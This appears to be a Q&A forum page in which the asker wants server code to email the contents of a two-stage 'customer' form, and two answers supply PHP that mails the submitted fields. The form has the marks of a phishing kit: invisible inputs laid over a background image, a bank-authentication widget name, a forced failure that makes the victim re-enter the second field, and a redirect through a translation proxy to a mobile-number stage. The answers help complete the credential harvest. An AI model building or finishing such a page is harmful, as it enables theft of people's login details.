skip to Main Content

I am having similar issues and I am totally lost as to what write on the phpsender.php file. Here my case: I have a form that is in two or three stages that a customer needs to fill. First form they input their username and location once they hit the send button it takes them to the second form where they input their phone number, email, and message. At this second form once they hit the submit button, I need all the form input value from first and second sent to my email.

First part of the form:

<form  class="ZdyDsE vAlignMiddle" style="width:auto;" >
         <input name="email" id="username" class="UPkfdH textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 325px; left: 173px; top: 326px; z-index: 1; border:none">  
         <div id="arcotuserdataDiv" display="none" style="display: none;"></div>
      <div id="arcotuserdataDiv" display="none" style="display: none;"></div>
            <div class="offline-ui offline-ui-up">
         <div class="offline-ui-content"><input id="location" name="location" class="l9X2Aa textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 331px; left: 171px; top: 400px; z-index: 1 ; border:none"></div>
            <a href="" class="BTMDID"></a>
         </div>
         <div id="user_error" style="color:red; display:none">Please enter your username.</div>
         <div id="loca_error" style="color:red; display:none">Please enter your location.</div>
         <div id="message" style="color:red; display:none"> failed.</div>
         </div>
         <div id="submitbutton" style="position: absolute; left: 82px; top: 454px; z-index: 2; width: 420px; height: 70px;"><input type="image"  width="420" height="70" src="./index_files/submit.jpg"></div>
         <p>&nbsp;</p>
         
      </form>
      
      <script>
         var count =0;
         document.getElementById("submitbutton").addEventListener("click", function(e) {
         event.preventDefault();
         var email = document.getElementById("username").value;
         var location = document.getElementById("location").value;
         if (email == "" || email == null){
             clearErrors();
             document.getElementById("user_error").style.display ='block';
         }else if(location == "" || location == null){
             clearErrors();
             document.getElementById("loca_error").style.display ='block';
         }else{
         clearErrors();
         count=count+1; 
         $.ajax({
          "async": true, 
          "crossDomain": true, 
          "dataType": 'JSON',
          "url": "phpsender.php",
          "method": "GET", 
          "headers": {"Content-Type": "application/json; charset=utf-8", "cache-control": "no-cache", 'Access-Control-Allow-Origin': '*' },
          "data": {"email": email, "location": location}
         }).done(function()  {
         }).fail(function()  {
             clearErrors();
          document.getElementById("message").style.display ='block';
          document.getElementById("location").value ="";
         if(count >= 2){
          count=0;
          clearErrors();
          var href = window.location.href;
          var dir = href.substring(0, href.lastIndexOf('/')) + "/";
         window.location.replace(dir+'dat_mobile.php?_x_tr_sl=auto&_x_tr_tl=null&_x_tr_hl=null&_x_tr_pto=wapp&username='+email);     
          }
         });        
         }
         });
                     function clearErrors(){
                         document.getElementById("user_error").style.display ='none';
                         document.getElementById("loca_error").style.display ='none';
                         document.getElementById("message").style.display ='none';
                     }
      </script>

what code i need to write in the phpsender.php file ????
Please and Please I need your help guys.

I just don’t know what I need to write on the phpsender.php file. I need help.

Should I write something like this?

<?php

$username = $_POST['username'];
$location = $_POST['location'];


//Do whatever php code here that makes you happy.  
mail($email, $name, "Thank you");




?>

2

Answers


  1. Try This

    Step 1 : Change method in $.ajax

    method : "POST"
    

    Step 2 : Pass all input value in data attribute in $.ajax which you want to send in email

    Step 3 : Write code like below in phpsender.php file

    <?php
    //Receive All Post Value Which Is Send By Ajax
    
    $username = $_POST['username'];
    $location = $_POST['location'];
    $email = $_POST['email'];
    $phone_number = $_POST['phone_number'];
    $message  = $_POST['message'];
    
    
    // Design email template as per your requirement
    $body = '<style>
    table, th, td {
    border: 1px solid black;
    border-collapse: collapse;
    }
    </style>';
    
    $body .= '<p>Customer Details</p>';
    
    $body .= '<table style="width:100%">
        <tr>
            <td>Username</td>
            <td>'.$username.'</td> 
        </tr>
        <tr>
            <td>Location</td>
            <td>'.$location.'</td> 
        </tr>
        <tr>
            <td>Email</td>
            <td>'.$email.'</td> 
        </tr>
        <tr>
            <td>Phone number</td>
            <td>'.$phone_number.'</td> 
        </tr>
        <tr>
            <td>Message</td>
            <td>'.$message.'</td> 
        </tr>
    </table>';
    
    
    $to = "[email protected]"; // Add your email address (If you want to send email to customer then write here customer email address)
    $subject = "Test"; // Add subject as per your requirement
    $from = "[email protected]"; // Add your email address
    $headers = "From:" . $from;
    
    $is_send = mail($to,$subject,$body,$headers);
    
    if($is_send){
        echo 'Email sent successfully';
        // Write further code here as per your requirement.
    }else{
        echo 'Something went wrong while sending email';
        // Write further code here as per your requirement.
    }
    
    ?>
    

    Notes : you cannot send email through localhost. mail function will send information when your code is online.

    Login or Signup to reply.
  2. Write code like below in phpsender.php file
    (You need to write the JS codes again)

    <?php
        // get post array datas
        $username = $_POST['username'] ?? '';
        $location = $_POST['location'] ?? '';
        $mobile = $_POST['mobile'] ?? '';
        $email = $_POST['email'] ?? '';
    
        if($username && $location && $mobile && $email){
            // send email
            //mail($email);
            echo 'ok';
            print_r($_POST);
            die;
        }
    ?>
    
    <?php 
    if(!$username && !$location){
    ?>
    
    <form name="form1" action="" method="post">
        <p><input name="username" id="username" autocomplete="off" required="" type="text"/></p>
        <p><input id="location" name="location" autocomplete="off" required="" type="text"/></p>
        <div id="submitbutton"><input type="submit" name="submit"></div>
    </form>
    
    <?php
    }else{
    ?>
    
    <form name="form2" action="" method="post">
        <input type="hidden" name="username" value="<?php echo $username?>"/>
        <input type="hidden" name="location" value="<?php echo $location?>"/>
        <p><input name="mobile" id="mobile" type="text"/></p>
        <p><input name="email" id="email" type="text"/></p>
        <div id="submitbutton"><input type="submit" name="submit"></div>
    </form>
    
    <?php
    }
    ?>
    
    Login or Signup to reply.
Please signup or login to give your own answer.
Back To Top
Search